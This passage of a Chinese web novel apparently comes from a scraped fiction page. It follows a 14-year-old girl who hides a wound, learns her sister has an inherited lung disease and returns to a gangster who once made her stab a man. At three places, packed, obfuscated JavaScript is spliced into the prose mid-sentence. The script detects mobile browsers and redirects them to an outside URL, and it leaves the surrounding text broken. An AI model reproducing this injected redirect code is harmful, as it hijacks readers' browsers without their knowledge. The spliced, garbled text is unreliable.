经过桥下时,她的脚步不自觉地放慢了。冷风从桥洞两侧灌入,吹起几张被遗弃的旧报纸。她抬起头,看向那个角落—— 她也不知道自己在看什么。 阮云琛甚至不知道,自己为什么总是盯着那个角落看。可...... 他竟然还在那里。 那个孩子蜷缩在蛇皮袋旁,像是缩进了自己的小小堡垒。 袋子里装满了各种废旧物品,他手里捧着一块被锈迹侵蚀的铁片,用小锤子一点一点地敲打着。每一下都很轻,却带着某种无声的执着。 阮云琛没有刻意接近,只是站在原地,静静地看了他几秒。 她不记得这是第几次见到他在这里了,或许是每周,或许是每天......阮云琛不知道。 街坊邻居偶尔会提起这个孩子,说不知道他是从什么时候起就来了这里,没父没母的,每天到处找工地搬砖换点吃的,又或者是卖废品...... 可惜收效甚低,赚不到什么钱,也没人敢用他。毕竟禁用童工法刚通过没多久,谁也不敢铤而走险。 大家都说那孩子看着怪可怜,跟...... “跟三楼那俩丫头似的。”一个在楼下面摊吃饭的客人这么说起过。 给妈妈帮忙的程一冉本想制止,可身旁她妈妈立刻就接了话茬:“说起来,三楼那大点儿的姑娘,成天在外头跑,她哪来那么多钱送妹妹上学?” 客人嗦了口炒面,又额外加了两勺醋,吃了一口,满意地砸吧了一下嘴:“听说她妹妹淼淼现在上小学了,学费可不便宜。” 万秀“咦”了声,忽地压低了声音:“要是跑腿打工赚的钱,那也太能干了吧。” 客人摇了摇头,吹了吹面条的热气,一股脑塞进了嘴里,口齿不清地咕哝道:“不会是借的高利贷吧。” 万秀愣了下,忽地一推桌子,假装嗔怒:“吃你的吧。” 邻里的话题总是天南海北的变,但那也不过就是茶余饭后顺口一提的八卦,前脚提起,后脚忘记,没人会在意,也没人有空在意。 阮云琛住着的那栋老楼的破得都快成了危楼,老楼在的街区也早就是警察政府居委会三不管的地界。 脏、乱、差,这三个简单的字眼儿就能形容那块地方。 原本阮云琛的妈妈白清和——起码是她患了病、身体变差之前工作的幼儿园,也早就因为招生数量欠缺而在七八年前就宣告倒闭,愿意留在这边的,更是没有什么人在了。 现在留着的,除了穷得只剩下那套房的人,就只有穷得只能租得起那套房的人。每个人都在忙于生活,每个人都在疲于奔命,又有谁会有那个闲工夫去管别人的琐事。 “......姐!” “姐!想什么呢!” 淼淼伸着小手在阮云琛面前来回地晃动,阮云琛愣了下,很快回过了神来。 “嗯。”阮云琛尽量放松语气,单手把帆布包丢在地上,另一只手尽量假装自然地按住外套的领口,将肩膀的痕迹遮得严严实实,“吃吧。” 淼淼凑上来,眼尖地看见她身上的雨衣,忍不住嘟囔:“姐,你怎么在家还穿雨衣?” “别管那么多,大人的事小孩少操心。”阮云琛语气不重不轻,带着几分敷衍。 “你不也才十四岁,还是个小孩。”淼淼毫不留情地拆穿,伸出小手指戳了戳她的雨衣。 阮云琛抬眼瞅了她一眼,轻轻刮了一下她的鼻尖:“吃饼干吧,别惹我烦。” “切。”淼淼缩了缩脖子,人是认了怂,嘴上却止不住嘟囔,“你这个小孩还不讲道理。” 好在小孩的注意力总会被新鲜的零食吸引走,那小卖铺里总是锁在柜子里卖的、贵得要死的蓝色铁皮盒子曲奇更是能片刻间就夺走小孩的全部目光。 淼淼迫不及待地打开饼干盒,脸上的笑意顿时停了一下。她抬头看向阮云琛,困惑地问:“姐,怎么少了几块?葡萄干味儿的呢?” 阮云琛微微一顿,没有直接回答,只是伸手揉了揉她的头发,声音低得像是一片浮在水面的叶子:“大概是少装了吧。” “噢。”淼淼露出了个夸张的遗憾的表情,随即笑了开来,“那下次买多点。” “好。”阮云琛笑了笑。 肩膀在隐隐作痛,雨衣下的血迹早已黏住了内衬,阮云琛没有去碰,只默默看着淼淼吃饼干。 小女孩咬了一口饼干,小脸因为满足微微扬起。 黄昏的光从窗外泄进来,薄薄一层打在她稚嫩的面颊上,像一层透亮的釉。 屋里沉默了下来。 淼淼嚼着饼干,屋里的咔哧声和楼下小贩的吆喝声偶尔穿插其中,倒是有些莫名地令人安心。 黄昏渐渐拉长影子,屋里光线暗了些许,阮云琛低头看了一眼桌上的账单,眉头微微蹙起。淼淼不知道什么时候跑去角落里翻出了作业本,趴在那儿歪歪扭扭地写着字。 “淼淼,别趴着,坐直,不然眼睛会近视。” “嗯!”淼淼答应得很快,但依旧没有动弹,像是不想打断自己的专注。 阮云琛无奈地摇了摇头,端起桌上的水杯小口喝了几口,却感到胃里像打结一般的不适。 她没有细想,把杯子放回去后坐下开始整理桌上零散的零钱。钱不多,刚好够接下来的两天花销。 夜晚的冷意渐渐渗透进屋子,窗户没有完全关严,冷风从缝隙间穿过,拂动了桌上的账单。 阮云琛伸手按住,目光落在数字上,那些零散的开支和需要填补的学费空缺压得她有些喘不过气来。 淼淼打了个哈欠,从角落里抱着作业本跑过来,站在她面前,仰起脸问:“姐,明天学校有没有饼干卖?” “你不是还有吗?” “可这个很快就会没了。”淼淼理直气壮地说。 “明天再说吧。”阮云琛揉揉她的头发,手下触感细软,像握着一片云。 她看着淼淼小心翼翼地把饼干盒收进书包,心里不禁一阵柔软。 ……家人。 是有血缘的家人。 这是她在这个世上......唯一的牵挂。 夜晚总是静得出奇,窗外的街灯在寒风中微微晃动,昏黄的光线映在剥落的墙面上,像一片碎裂的水渍。 阮云琛等着淼淼慢慢靠在椅背上打了个呵欠,小小的脑袋一点一点地垂下去,终于熬不住睡着了。 她缓缓站起身,单手艰难地把淼淼抱起放在了床上,盖好了被子,才轻轻地拿起一块旧毛巾,走进厕所,反手锁上了门。 灯光亮起的一瞬间,阮云琛的脸色在镜子里显得格外苍白。 雨衣被一层层剥下来,像剥开一层层束缚,她尽量压制着动作,生怕牵扯到肩膀的伤口。毛衣已经和血黏在了一起,撕开的时候像揭下一层皮,疼得她眼前一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬起头看着天花板,目光空洞,想逃避,又想拼命找一个出口,可......出口在哪呢? 出口外面,是另一个深渊吗? 她的喉咙滚动了几下,却什么都说不出来。 “不能哭。”她在心里一遍遍告诉自己,“哭没用,哭只会让淼淼担心。” 她闭上眼,手指用力掐着自己的膝盖,试图用另一种疼痛掩盖肩膀的剧烈刺痛。 脑海里闪过淼淼的笑脸,还有她抱着饼干盒开心地吃的模样。那个小小的身影几乎占据了她生命的全部,她必须保护她。 她从来没见过真正的乌托邦,但她知道,只要她足够努力......只要她足够努力,淼淼就可以拥有。 母亲白清和的影子忽然浮现在阮云琛脑海中。 那个女人瘦弱的背影,隐忍的叹息,还有在床上渐渐消失的生命力——她不想让淼淼变成第二个白清和,也不想让自己变成第二个白清和。 “就算只有我一个人,我也得撑下去。”阮云琛轻声说,像是对自己的誓言,又像是自我催眠。 她努力地撑着墙站起来,动作间带出肩膀的剧烈疼痛。她看着镜子里的人,嘴角抿成了一条直线,眼神却一如既往的冷静。她低声呢喃:“下次不会了。” 忽地,外头传来一阵轻微的脚步声,紧接着,急促地敲门声响了起来。 “姐……”淼淼带着点鼻音,小声喊了一句,“我肚子疼。” 阮云琛的手一抖,毛巾滑进了洗手池里。她匆匆擦了一下手,胡乱披上了浴衣,拉开门,看到淼淼站在门外,手捂着肚子,整个人都缩成了一团。 “是不是吃多了?”阮云琛弯下身,试探着问。 淼淼摇摇头,脸色苍白,眼睛里隐约有了眼泪:“不是……像以前那样……” 以前......? “什么以前那样?”阮云琛的心猛地一紧,“以前......以前也疼?” 淼淼看着她,语气低到几乎听不见:“疼……但我不想让姐姐担心......” 这句话像一记闷棍砸在阮云琛的脑袋上。记忆里白清和的模样浮现出来,那些隐隐作痛的日子,那些无声的叹息,还有母亲最终无力睁开的眼睛。 她不敢多想,几乎是下意识地把淼淼抱去了门边。 “穿鞋,去诊所。” 14. 遗传病 淼淼的拖鞋没穿对,鞋带歪在一边,踩得“啪嗒啪嗒”响,但阮云琛来不及纠正,只是一手抱着妹妹,另一只手拉开了门。 夜风刺骨,她把淼淼的头压在自己的肩膀上,尽量让孩子不被风吹着。淼淼在她怀里缩了缩,鼻尖蹭到她的肩膀,微微皱眉:“姐,你流血了?” “别说话。”阮云琛脚步加快,语气却压得很轻,“睡会儿吧,很快就到了。” 诊所的灯光昏黄,药水味和消毒水的气味弥漫在空气中,刺得人喉咙发紧。 医生是个中年男人,戴着老花镜,眉头深深皱着,翻看着淼淼的病历。阮云琛站在一旁,紧抿着嘴,手腕上还沾着淋湿的血水。 她偷偷拉了拉袖口,把血水遮了起来。 医生低头看了看手里的病例单,眉头拧得更紧了一些。他抬起头,目光在阮云琛身上停了片刻,似乎有些话不好当着淼淼的面说。 “跟我出来一下。”他语气不重,但不容置疑。 阮云琛点了点头,将淼淼的手塞进被子里,轻声说:“躺着别动,我马上回来。” 淼淼似懂非懂地眨了眨眼,没有多问,乖乖点了点头。阮云琛跟着医生走到诊室外,站在昏暗的走廊里,凉风顺着窗缝吹进来,让她不由自主地裹紧了雨衣。 “病人需要住院观察。”医生的语气带着些许无奈,“从她的症状来看,已经不仅仅是胃炎那么简单了......肺部也有问题,可能是肺动脉高压,得赶紧转到市里的大医院做进一步检查,拖不得了。” “怎么会……”阮云琛下意识地攥紧了手指,指甲刺进掌心,她抬头看向医生,不安和勉强维持的镇定互相冲撞着涌入脑海,她几乎要站不稳,“能先挂点滴吗?我……我再想办法带她去医院。” 医生叹了一口气,似乎也看出了她的窘境,点了点头,吩咐护士进屋给淼淼挂上点滴。小女孩的脸色依旧苍白,却仍然微笑着给护士打了招呼,护士蹲下来笑了笑,小心翼翼地给她插上了针管。 淼淼抿着嘴抬起了头,努力不让自己看那针头戳进皮肤的过程,只直勾勾地盯着吊瓶里的药水,看着它们缓缓开始流动,一滴一滴落下。 阮云琛下意识地握紧了拳头。 肩膀的伤口已经疼到开始麻木,大概是一直在失血,阮云琛控制不住地有些双腿发颤。她强撑着让自己稳稳当当地走进点滴室,拖了把椅子,坐在了淼淼身边。 “姐……”淼淼的声音虚弱得几乎听不清,“我是不是病得很严重?” “别瞎想。”阮云琛挤出一个勉强的笑容,用手掌覆在她的额头上,“打完针就好了。” 她的手心有些凉,淼淼微微闭上眼,依赖似地靠在她的肩膀上。阮云琛垂下眼帘,掩住了一瞬间泄露出来的慌乱。她伸手拨了拨淼淼额前的碎发,像是安慰她,又像是安慰自己。 点滴瓶悬在诊室一角,透明的液体一滴一滴地落进管子里,发出轻微的“嗒嗒”声,与墙上老旧挂钟的嘀嗒声混在一起,像是某种规律的催促。 阮云琛低头看着淼淼,小女孩靠在椅背上,睫毛轻颤,脸色白得像一张纸,细细的小手紧握着她的袖口不放开。 她的肩膀隐隐作痛,像被一把钝刀剜开,疼得每一次呼吸都仿佛刀锋上撒了盐。雨衣遮着的地方早已湿热得像一片烂泥,血迹浸透了毛衣,贴着皮肤,微微发凉。 阮云琛低下头,用力攥紧手掌,却不小心牵动了肩膀上的伤口,刺痛猛地从肩胛骨窜向脊椎,直逼得她后槽牙咬得发酸。 鲜红的血沿着手臂蜿蜒而下,滴进她的掌心。她抬起手,试图将袖口的血擦掉,但手指虚软得几乎没什么力气,只能在雨衣的内衬上蹭了蹭,动作慢得像被人按住了脖子。每一下擦拭,都像是徒劳的挣扎。 她盯着指尖的红色,喉咙深处涌起一股强烈的无力感。 诊室里的空气安静得令人窒息,墙角那盏不甚明亮的白炽灯忽明忽暗,发出“嗞嗞”的电流声。 阮云琛的视线开始有些发虚,眼前的灯光和墙壁模糊地晕在一起。她深吸了一口气,用舌尖顶了顶上颚,强迫自己把涣散的注意力拢回来。 “不能让人看出来。”她在心里低声警告自己。 医生推门进来的那一瞬间,她猛地绷紧了全身。 那种本能的紧张让她几乎是条件反射般调整了坐姿,尽量让自己看起来镇定而冷静。肩膀上阵阵刺痛还在提醒着她伤口的存在,但她硬生生忍住了,指尖悄悄握紧了雨衣的边缘,用衣角遮住渗出来的血迹。 医生的脚步声在地板上回荡,目光落在点滴瓶上,又扫过淼淼苍白的小脸。他的声音低沉,带着些许试探:“点滴只能缓解症状,没办法解决根本问题。孩子的情况……比你想象的更复杂。” 阮云琛缓缓抬起头,眼神有些发散,但很快又努力凝聚了起来:“什么意思?” 医生摘下眼镜,用手指捏了捏鼻梁,语气越发低沉:“可能是遗传性肺动脉高压。需要立刻转院,否则会有生命危险。” 阮云琛愣住了,脑子嗡地一下,像被重物猛击了一下。 耳鸣骤然炸开,声音仿佛被层层隔绝,世界变得遥远而模糊。医生的声音还在继续,可她什么都听不清,只能看到他开合的嘴唇和那张满是倦意的脸。 “遗传性肺动脉高压”——这几个字像是一根冰冷的针,直直地刺进她的脑海,搅动出一片凌乱。 这个词语太陌生,可却又......莫名地熟悉。 陌生到好多年没再听见过,熟悉......熟悉到似乎很久以前,她从她母亲的枕头下翻出来的病症诊断书上......看到过好多次。 好多次。 ——遗传性肺动脉高压。 像是多年未翻的旧书页里夹着一张陈年的纸条,微微泛黄的字迹让她感到刺眼。 是的,她在哪里见过这个名字,翻得多了,连字母的笔画都快要记住。可是为什么,为什么她会忘记了“遗传性”这三个字? 手心攥得发白,指甲深深嵌进皮肉里,直到疼痛开始清晰地提醒她— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830932|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —那是白清和的病。 是母亲的病。 枕头下的病历本,泛黄的纸页,皱巴巴的边角,那个词语在诊断书上出现过无数次。她以为那只是母亲的事情。一个属于过去的烂摊子,一个已经被时光埋掉的答案,可现在它竟然从 淼淼的身体里重新冒了出来,带着更冷的、更令人窒息的气息。 怎么会? 她怎么会忘了? 阮云琛低下头,视线落在自己的手掌上,掌心的血痕被月光晕得发白。她想开口说点什么,可喉咙像被堵住了一样,挤不出一个字。 医生的声音重新涌进耳朵里,像隔着一层水面传来:“手术可以控制病情,但不能根治,需要长期药物维持。拖延下去的话,恐怕会造成不可逆的损伤……” 医生看了她几秒,最终只是轻轻叹了口气,递给她一张病情单。 “转院的费用……”阮云琛张了张嘴,声音像是从喉咙里挤出来的,“需要多少?” 医生报出一个数字,仿佛是一记钝重的锤击,砸在阮云琛本就摇摇欲坠的精神防线上。她低下头,肩膀的剧痛和这个数字一同压得她喘不过气,甚至连手指都微微颤抖。 “我......会想办法。”她说。 医生看了阮云琛一眼,眼神复杂,似乎想说点什么,却最终只是点了点头,转身离开。 屋里再次安静下来,只剩下点滴瓶的“嗒嗒”声和墙角的灯泡发出的微弱电流声。阮云琛低头看着手心,那里的血迹早已被攥得模糊成一片,但疼痛还在,清晰得像刀锋。 她闭了闭眼,深吸一口气,用力压下胸口那股快要溢出来的窒息感。她低头看着淼淼苍白的脸,轻轻拨开她额头上的碎发,声音低得像耳语:“会好的,一切都会好的。” 这句话,也是说给自己听的。 点滴挂了一整晚。 诊所的灯依旧刺目,冷白的光线打在墙上,显得一片死寂。 阮云琛低头看了一眼躺在病床上的淼淼,小女孩昏昏沉沉地睡着,呼吸微弱得像风里的烛火,嘴里轻轻吐出些含糊不清的呢喃。 医生在一旁低声嘱咐:“今天先挂点滴观察,回头如果高烧还不退,得立刻转院。” “最晚几天?” 医生看着阮云琛,隔了会儿,才叹了口气:“她的病情拖了大概有快一年了,现在属于频繁发作期。最晚......三天、或是一个星期,不确定,我只能说......尽快吧。” “好。”她的声音很轻,但语气里没有半点犹豫。 医生叹了口气,放低了语速:“病情已经很严重了。要是拖下去,肺动脉可能会出问题,到时候就不是烧退不退的问题了。你得早作准备。” 说完,他拿着病历走向诊室深处,又重复了一遍:“监护人签字转院的事,尽早考虑。” 阮云琛站在原地,手指无意识地在掌心掐出了几道白痕。她深吸了一口气,低头看着淼淼被点滴扎得发红的手背。 “等我。”她低声说。 15. 纱布和酒精 从诊所出来时,天已经蒙蒙亮,空气湿冷得像浸了水的刀片,贴在皮肤上生疼。 阮云琛走到诊所门口时,脚步顿了顿,抬头看了一眼昏黄的街灯,灯光透过朦胧的雾气洒下来,映得地面湿漉漉的。 她回头看了眼诊所里昏暗的灯光,淼淼的小身影裹在被子里,安静地躺在病床上,脸色苍白得像一张纸。医生正在一旁调整点滴的速度,没注意到她的目光。 阮云琛攥了攥手里的雨衣,心头的愧疚与焦灼交织成一团。她必须走了。 医生刚才的那句“手术费用必须尽快凑齐”还在她耳边萦绕,像一把无形的锤子,一下一下敲打着她的神经。可是......钱从哪里来? 她只能去找宋祈。 她必须再去找宋祈。 无论他给什么任务,她都得接。 “姐……别走。”淼淼的声音软软地从病床上传来,像是刚醒,又像是半梦半醒。她抓着被子的一角,眯着眼看向阮云琛,眼里带着一丝不安。 阮云琛咬了咬牙,走过去俯身摸了摸她的额头:“我得出去一会儿,很快就回来。乖乖听医生的话,好吗?” 淼淼不说话,只是把脸埋进被子里,点了点头。阮云琛的手顿了一下,然后把被子掖好,像在强迫自己挤出一点笑意:“你睡一觉,醒了我就回来了。” 淼淼没再出声,阮云琛却不敢再看她一眼,转身快步离开,雨衣的下摆被风掀起,掠过她的伤口,疼得她倒吸一口凉气。 早点摊的烟升起来了,煤气和油炸的味道飘散在巷口,有人端着豆浆大口吹凉,摊主的手满是蒸汽和油渍,动作利索地将煎饼裹进塑料袋。 阮云琛低头看了一眼自己影子在青石板路上拉长的模样,脚步有些漂。 雨衣下的肩膀隐隐作痛,那种钝痛从肌□□隙渗进骨头里,像是刀尖钝钝地刮着。 鲜血从伤口慢慢浸透衣物,顺着袖口滴下来,她伸手抹了一把,湿热的触感叫人恶心。她将手抹在雨衣内衬,掌心黏腻的感觉没有消散。 不能拖。 她这样对自己说。可这三个字在空气里像个空洞的回音,砸在她心头,轻得像雾,却压得她喘不过气。 风吹过耳侧时,她停了一下。 她抬头望向前方,街边早点摊旁,一个小女孩正捧着一杯豆浆,馒头咬了一口挂在嘴边,脸上满是天真的满足。小女孩的模样像淼淼,连那微扬的眉眼弯弯都像极了。 阮云琛一时间没挪动脚步。胃里涌起一阵酸楚,她的目光从孩子移开,努力让自己专注在眼前的路上,却发现越是刻意,记忆越是清晰。 白清和最后一次发病的模样,她记得一清二楚。 母亲那时候也爱笑,总说“忍忍就过去了”。 后来,她躺在床上,枕头旁的床头柜上是发霉的药片和从医院带回来的几张清单。阮云琛从来没敢看那些数字......太沉了。 太沉了,她不敢看。 她知道那会压得她喘不过气。 可是她妈妈最后也没能忍过去。 风变得更冷了,呼啸着从巷口钻进来,把早点摊上的炊烟吹得四散。空气中混杂着煤气的刺鼻味道,带着一种令人窒息的厚重感。阮云琛猛地回神,鼻尖蹭到一缕炊烟的尾巴,她下意识地侧了侧身,像是想躲开这股味道。 可她知道,她不是在躲炊烟。 她在躲自己脑海里那些不该存在的念头。 早点摊的豆浆飘着一层薄薄的皮,摊主的孩子正趴在摊边数着筷子,一边数,一边用小奶音跟他妈妈抱怨今天的风太冷。阮云琛的脚步顿了一下,那画面明明只是一瞥,却硬生生像根钉子扎进她的心里。她低下头,手指不自觉地抓紧袖口,指尖用力得泛白。 她已经忘了上一次有闲暇可以听风声、看炊烟、吃早点是什么时候了。时间被生活碾得太细,细到再也拾不起一块完整的拼图。 可她不能停下。 她得......她得赶紧回家,处理一下肩膀上的伤口,然后去巷头找宋祈,继续无休止地给他上工。 她需要钱。 淼淼的病需要钱。 忽地,有人拦住了她的去路。 阮云琛下意识绷紧了神经,眉头一皱,猛地地抬起了头,却是只见眼前是张熟悉得过分的面孔。 每天都能看见,每天都会路过,每天......也不是每天、但确实会时而不时地会好奇他......究竟在做什么。 是桥下的那个孩子。 他站在那里,没穿外套,单薄的身子几乎要被风吹散。他的手里拎着一个透明的塑料袋,袋口系得歪歪扭扭,里面隐约装着几样东西,挺沉的,被风一吹,哐当直响。 他什么也没说,他只是把手里的袋子举起来,递向她。塑料袋在风中轻轻晃动,发出细微的沙沙声。 男孩的手冻得通红,上面还有几个被粗糙铁器割开的口子,血迹已经凝固成深褐色。那褐色的血迹上沾着一点儿没擦干净的饼干渣,姜黄色的,是......曲奇。 他的眼神却亮得出奇,干净又执拗。 阮云琛愣住了。 她张了张嘴,发出的声音却沙哑得几乎不像自己:“你干什么?” 那声音在冷风里被吹散开来,轻得像一片枯叶,毫无力量。连她自己都愣了愣。什么时候嗓子哑成了这样?她下意识地咳了一声,喉咙深处像被砂纸刮过,干涩又刺痛,连那点虚假的底气也散了。 男孩看了她一眼,嘴唇动了动,像是想说点什么,但最后只是一把把袋子往她手里塞。动作笨拙而决绝,像是在完成一件不容拒绝的任务。 阮云琛下意识地接住了袋子,袋口绳结松了点,露出一点消毒水瓶的边缘和一角皱巴巴的纱布。 她怔住了。 “及时消毒包扎。”他的声音不大,但透着某种硬邦邦的坚持。说完,他转身就跑开了,那脚步急促而凌乱,一头扎进桥下的阴影里,再也看不见人影。 阮云琛站在原地,塑料袋在她手里晃了两下,袋口的绳结因为松垮垂了下去,里面的东西微微晃动,显得有些可笑。 她低头看着那袋东西,呼吸莫名变得急促。肩膀的疼痛还在提醒着她,雨衣下的毛衣已经彻底湿透,血迹隐隐透出一抹深暗的颜色。她的喉咙像被什么堵住了,发出一声极轻的嘶哑。 阮云琛不知道自己是怎么回的家。 她推开了门,疲惫地将塑料袋放在桌上,坐了下来。袋子的底部微微鼓起,那些东西随着力道向外滚了几下。 消毒酒精、纱布,还有一卷廉价的医用胶布,一股轻微的酒精味从袋口飘出来。她盯着那瓶酒精,半晌没有动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830933|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的肩膀一下一下地疼,仿佛有针在皮肉间来回刺探,随着血液流动带出一点点钝痛。她抬手碰了一下伤口的边缘,指尖湿滑的触感让她一阵恍惚。 她想去包扎,却又迟迟没有动。桌上的纱布皱巴巴的,像某种廉价的善意,简单得让人无法拒绝,却又让人想起自己有多无力。 阮云琛的目光黏在那瓶酒精上,心里一阵阵发紧。她忽然觉得......自己连打开瓶盖的力气都没有了。 她轻轻呼了一口气,想将那些积压的情绪一并呼出来,但失败了。 她的喉咙像被堵住了,眼眶也慢慢发酸。手掌不受控制地抬起,缓缓覆上脸,指节用力抵住眉骨,像是要把那些情绪硬生生压回去。 可......压不回去了。 一滴眼泪从指缝滑下,轻飘飘地砸在桌上,晕开成小小的水迹。 紧接着是第二滴,第三滴。 她闭上眼睛,肩膀微微发抖,眼泪却像决了堤似的,再也止不住了。没有声音,只有身体的颤抖出卖了她。她努力抬手想将眼泪擦掉,却发现手臂已经完全不听使唤了。 她想到了淼淼。 想到了她在诊所小声说“姐姐,我好疼”的样子。想到了医生报出的数字。 她也想到了自己的母亲,那个总是默默承受一切的小女人。她说忍忍就好,可最后,连床都下不了。 一瞬间,她的喉咙涌上了苦涩的腥味,像某种宿命般的预兆,咽不下去,也吐不出来。 “不一样的。”她哑声低语,像是在给自己打气,也像是在向什么人宣战。 “绝对不能一样。” 可这话听起来多么无力啊。 她的肩膀疼,胸口闷,呼吸变得急促,眼前的一切模糊成一片水光。她想要咬紧牙关,但嘴唇却止不住地颤抖。她的手缓缓从脸上滑下来,攥成了拳,指甲刺进掌心,那点疼痛好像成了唯一能让她抓住现实的东西。 桌上的塑料袋静静地躺着,像是某种无声的安慰。 灯光从桌面斜斜打下去,袋子透明的表面反射着微弱的光。阮云琛怔怔地看着它,手指僵硬地悬在半空中,想伸过去,却又顿在半路。 她忽然想起了那个孩子。想起了他冻得通红的脸,想起了他固执又匆忙递过来的动作。 她的脑海里反复浮现出那个孩子的脸。 冻得通红的脸颊,裂开的嘴唇,还有那双明亮得几乎刺眼的眼睛。他站在风里,拎着袋子的手微微发抖,却没有丝毫犹豫。固执、匆忙,甚至有些不合时宜的决绝,像是在完成一件必须完成的事情,哪怕那件事根本和他无关。 她忽然感觉到胸口一阵发闷,像是被什么东西堵住了。 肩膀的疼痛此时被压到一个不重要的角落,取而代之的是某种更加复杂的情绪。她不知道那是什么,只觉得那种重量无法忽视,沉甸甸地压在心头,让她呼吸变得有些困难。 他为什么要这样做? 她问自己,却找不到答案。 想不通,想不懂,想不明白......不想思考。 眼泪仍旧不受控制地流下来,模糊了她的视线。 她没有办法了。 阮云琛真的没有办法了。 她得去找宋祈。 她需要一个能赚到更多钱的办法...... 16. 挣扎 阮云琛的手插在口袋里,指尖冷得发麻。风像鞭子一样抽在脸上,但她没感觉,她现在没力气去在意这些。 路灯昏黄,地面积了薄薄一层霜,鞋底踩上去,发出轻微的摩擦声。她低头盯着自己的脚尖,走得不快,像是在拖延,又像是在等待什么。 她已经在街上绕了三圈,手术单折了又折,最后变成一小块揉皱的纸团,被她捏在手心里。纸上那个数字明晃晃地贴在脑子里,怎么都抹不掉。 太多了。 她咬了咬后槽牙,想吐口气,却发现嘴里全是凉意,吐不出来。 阮云琛握紧了手,指甲深深刺进掌心,直到一种迟钝的痛感从皮肤渗透进骨髓,才勉强让她的脚步稳住了一些。 又经过“和安堂”时,她终于停下了脚步。 那块金字牌匾闪着冷硬的光,门口的台阶上还有人蹲着抽烟,烟头被丢在地上,轻轻碾灭,发出一声模糊的“咔嚓”。阮云琛站在那里,像一根钉子被死死砸在水泥地里,连动一动都显得费劲。 白日里的霓虹灯此刻熄灭了,黑色的大门在路灯的映照下显得厚重如铁,门口两侧站着的保镖脸上没有表情,像两座石雕。 “和安堂”已经不是当初那个脏兮兮的小棋牌室了。 五年的时间,它被扩展成了一座五层楼高的娱乐中心,门头上的金字牌匾闪着微弱的光,昭示着它的“合法经营”。 外面看上去不过是一个普通的娱乐场所,但阮云琛知道,这座大楼里藏着的东西,远比这些明面上的麻将桌、包厢和餐馆更复杂。 她知道自己在等什么——在等心里那一点点微弱的侥幸,也许会有什么神奇的事发生,让她不必进这扇门,不必去找宋祈—— 尽管每天都在跟着宋祈做工,但那不一样。 那与今天不一样。 她又要去“求”宋祈了。 上次她求宋祈,他明明可以直接解决,却只随手丢给她一把刀,笑着让她亲自动手。那笑容还带着点兴致勃勃的神色,仿佛在看什么有趣的戏码。 阮云琛不记得自己那天是怎么走到那个房间,又是怎么握着刀,一步一步接近那个醉得人事不省的男人。 她只记得,那房间里的灯光昏黄得像污水,满地的玻璃渣刺得她脚底生疼,手上的刀柄冷得发抖。 她的心里只剩下了愤怒,恐惧,还有茫然。 那之后,宋祈确实如约帮她处理了后续。警察问起时,线索全断了,就像那天夜里她什么都没做过一样。但阮云琛知道,那把刀和那扇门,像是两块沉重的石头,永远压在她心里,挥之不去。 可这不是宋祈第一次这么做,也不会是最后一次。他从来不吝于展示自己的恶趣味,像是一种随时能捏碎别人人生的游戏。 阮云琛抬头看向那栋大楼,眼前忽然浮现出一张又一张熟悉的脸。那些曾经被她递过债务单的鞋匠、小卖铺老板、汽油厂工人……每一个人看到她时的表情都刻进了她的记忆里——从最初的愕然,到愤怒,再到屈辱,最终全都归于一种带着痛苦的死寂。 宋祈让她把债务单夹在宣传单里,发给每一户人家。她起初只是照办,站在街角,把那些纸塞到一个又一个老板的手里。 可当这些人第一次不敢相信地看着她,问出“你是宋祈派来的?”时,她的喉咙像被石头堵住,只能点头。 她从不问这些债是怎么来的,也不问这些人是否真的欠下了它。她只知道,如果她不去,那些账会加倍。 宋祈很喜欢看这些。 他总是懒洋洋地靠在椅子上,指尖转着打火机,偶尔问一句:“今天怎么回事?有人不还?”语气里全是看热闹的意味。 阮云琛没回答过,默默地站着,手心里全是冷汗。她从来不懂他的恶趣味,也不想懂。 可这次呢?这次又会得到什么为难? 她的胃缩成一团,像被生生攥住的海绵。 她知道自己这次的目的不一样,也知道宋祈一定会察觉到。她唯一不知道的是,他会用什么样的方式回应她。他是那种无所不能的强者,也可以是一颗随时会爆炸的雷。 但阮云琛清楚,世界上从来没有“也许”。 街上寒风呼啸,带着冬夜特有的刺骨凉意,像一双手攥住她的喉咙。阮云琛的脚步停在“和安堂”的正门前,几乎是本能地往后退了一步。 她不想进去,也不敢进去。 宋祈阴晴不定的脾气像是蛇的吐信,外表和煦,实则暗□□牙。她不是没见过他动怒,那种压迫力能把人逼到死角,却又偏偏不动声色,像猫戏老鼠。 这栋楼里到处都有监控,摄像头的位置经过精心布置,就连门口也装得不动声色。 阮云琛知道此刻她的犹豫已经落入监控里,但她仍然站着没动。 脑海里翻滚着医生的诊断,费用单上那串天文数字像烙印一样烧在她的眼底,逼得她快喘不过气。 阮云琛深吸了一口气,把手从兜里抽出来,捏得发白的手指微微蜷了蜷,像是要攥住什么。 